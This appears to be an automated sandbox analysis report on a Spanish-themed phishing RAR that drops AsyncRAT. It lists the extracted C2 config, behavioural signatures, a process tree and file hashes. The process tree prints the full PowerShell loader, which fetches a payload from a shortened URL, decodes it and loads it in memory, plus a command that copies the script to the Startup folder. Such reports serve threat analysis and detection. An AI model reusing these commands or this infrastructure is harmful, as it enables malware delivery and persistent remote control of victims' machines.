Resubmissions

08/03/2024, 16:11

240308-tnc3wabd9710

08/03/2024, 16:05

240308-tjnzksbc737

Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/03/2024, 16:11

General

  • Target
    Adjunto Radicado Nº 2958474820230413.rar
  • Size 2KB
  • Sample240308-tnc3wabd97
  • SHA256 9465ccad9b77e9e73481a6b25c38f3bbecc89d996a5f7cb4082bd28bc845a505
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Family
  • asyncrat

Version
  • 1.0.7

Botnet
  • febrary 22

C2
  • pooldiaz14.duckdns.org:6000

Mutex
  • Adminhgfjytrdjklcdsawzr

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 54 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Adjunto Radicado Nº 2958474820230413.rar"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3256
    • C:\Program Files\7-Zip\7zFM.exe
      "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Adjunto Radicado Nº 2958474820230413.rar"
      2⤵
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:1180
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zOC94BBA57\Adjunto Radicado Nº 2958474820230413.VBS"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:880
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -c "$RR = {$L = (iwr 'https://tinyurl.com/5t2f3nkw' -UseBasicParsing).Content;For ($i=0; $i -lt $L.Length; $i++) {$L[$i] = [System.BitConverter]::GetBytes($L[$i] - 1241)[0];};[System.Reflection.Assembly]::Load($L).CreateInstance('B');};If($env:PROCESSOR_ARCHITECTURE -ne 'x86'){$J = Start-Job $RR -RunAs32;$J | Wait-Job | Receive-Job}Else{$RR.Invoke();}"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1624
          • \??\c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
            "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            5⤵
            • Blocklisted process makes network request
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5100
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3440
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\7zOC94BBA57\Adjunto Radicado Nº 2958474820230413.VBS' -Destination ([System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::Startup))"
          4⤵
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:976
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zOC9456887\Adjunto Radicado Nº 2958474820230413.VBS"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4320
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -c "$RR = {$L = (iwr 'https://tinyurl.com/5t2f3nkw' -UseBasicParsing).Content;For ($i=0; $i -lt $L.Length; $i++) {$L[$i] = [System.BitConverter]::GetBytes($L[$i] - 1241)[0];};[System.Reflection.Assembly]::Load($L).CreateInstance('B');};If($env:PROCESSOR_ARCHITECTURE -ne 'x86'){$J = Start-Job $RR -RunAs32;$J | Wait-Job | Receive-Job}Else{$RR.Invoke();}"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:620
          • \??\c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
            "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            5⤵
            • Blocklisted process makes network request
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1904
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              6⤵
                PID:4572
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\7zOC9456887\Adjunto Radicado Nº 2958474820230413.VBS' -Destination ([System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::Startup))"
            4⤵
            • Drops startup file
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:336
        • C:\Windows\notepad.exe
          "C:\Windows\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\7zOC94897D7\Adjunto Radicado Nº 2958474820230413.VBS"
          3⤵
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          PID:4300
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
      1⤵
        PID:3536

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
            • MD5 SHA1 SHA512

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 57KB
            • SHA256 2bfd8c972f6bb05ae1adca5237a7210d569fb1f9662ad4dd6bfc4e00e88d17ba
            • MD5 SHA1 SHA512 SSDEEP

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 53KB
            • SHA256 da32a79a8e04cbafb1c5980b3d6225f4705010df5eb45d464cd5bf6b642d7841
            • MD5 SHA1 SHA512 SSDEEP

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 50392db8d91a32d005a42c948cd844a98ceb77cd75568fbfbaa8502cd7e647d9
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 9d6a84890cc592eee811a3543d27900116c3434cdc06e61b838be98287d2460a
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
            • MD5 SHA1 SHA512

            Adjunto Radicado Nº 2958474820230413.VBS

            • Path C:\Users\Admin\AppData\Local\Temp\7zOC94BBA57\Adjunto Radicado Nº 2958474820230413.VBS
            • Size 38KB
            • SHA256 e006c255d66a4eba50c26fffddda6f415d165a16eff5658413312d05c5f50173
            • MD5 SHA1 SHA512 SSDEEP

            __PSScriptPolicyTest_ku5ghr1i.ozz.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ku5ghr1i.ozz.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            memory/336-91-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

            memory/336-93-0x000002013D680000-0x000002013D690000-memory.dmp

            memory/336-98-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

            memory/620-134-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

            memory/620-124-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

            memory/620-125-0x0000015353DC0000-0x0000015353DD0000-memory.dmp

            memory/620-126-0x0000015353DC0000-0x0000015353DD0000-memory.dmp

            memory/620-92-0x0000015353DC0000-0x0000015353DD0000-memory.dmp

            memory/620-90-0x0000015353DC0000-0x0000015353DD0000-memory.dmp

            memory/620-85-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

            memory/976-40-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

            memory/976-35-0x00000232183F0000-0x0000023218400000-memory.dmp

            memory/976-32-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

            memory/976-33-0x00000232183F0000-0x0000023218400000-memory.dmp

            memory/976-18-0x000002327DE90000-0x000002327DEB2000-memory.dmp

            memory/1624-120-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

            memory/1624-34-0x0000011A7A1B0000-0x0000011A7A1C0000-memory.dmp

            memory/1624-73-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

            memory/1624-36-0x00007FFABDB60000-0x00007FFABE621000-memory.dmp

            memory/1624-41-0x0000011A7B780000-0x0000011A7B8F6000-memory.dmp

            memory/1624-42-0x0000011A7BB10000-0x0000011A7BD1A000-memory.dmp

            memory/1624-66-0x0000011A7A1B0000-0x0000011A7A1C0000-memory.dmp

            memory/1904-99-0x0000000074570000-0x0000000074D20000-memory.dmp

            memory/1904-130-0x0000000074570000-0x0000000074D20000-memory.dmp

            memory/1904-101-0x0000000004F60000-0x0000000004F70000-memory.dmp

            memory/3440-115-0x00000000007D0000-0x00000000007E2000-memory.dmp

            memory/3440-117-0x0000000074570000-0x0000000074D20000-memory.dmp

            memory/3440-139-0x0000000004FF0000-0x0000000005000000-memory.dmp

            memory/3440-138-0x0000000074570000-0x0000000074D20000-memory.dmp

            memory/3440-121-0x0000000004FF0000-0x0000000005000000-memory.dmp

            memory/4572-137-0x0000000074570000-0x0000000074D20000-memory.dmp

            memory/4572-135-0x0000000002FD0000-0x0000000002FE0000-memory.dmp

            memory/4572-131-0x0000000074570000-0x0000000074D20000-memory.dmp

            memory/5100-45-0x00000000045D0000-0x00000000045E0000-memory.dmp

            memory/5100-61-0x0000000005BC0000-0x0000000005BDE000-memory.dmp

            memory/5100-116-0x0000000074570000-0x0000000074D20000-memory.dmp

            memory/5100-114-0x0000000006940000-0x00000000069DC000-memory.dmp

            memory/5100-46-0x00000000045D0000-0x00000000045E0000-memory.dmp

            memory/5100-48-0x0000000005240000-0x0000000005262000-memory.dmp

            memory/5100-113-0x00000000077F0000-0x0000000007D94000-memory.dmp

            memory/5100-43-0x0000000004500000-0x0000000004536000-memory.dmp

            memory/5100-44-0x0000000074570000-0x0000000074D20000-memory.dmp

            memory/5100-60-0x00000000055F0000-0x0000000005944000-memory.dmp

            memory/5100-62-0x0000000005C60000-0x0000000005CAC000-memory.dmp

            memory/5100-78-0x0000000074570000-0x0000000074D20000-memory.dmp

            memory/5100-112-0x0000000006800000-0x000000000684E000-memory.dmp

            memory/5100-63-0x0000000006BC0000-0x000000000723A000-memory.dmp

            memory/5100-64-0x0000000006380000-0x000000000639A000-memory.dmp

            memory/5100-55-0x0000000005480000-0x00000000054E6000-memory.dmp

            memory/5100-100-0x00000000045D0000-0x00000000045E0000-memory.dmp

            memory/5100-49-0x00000000052E0000-0x0000000005346000-memory.dmp

            memory/5100-47-0x0000000004C10000-0x0000000005238000-memory.dmp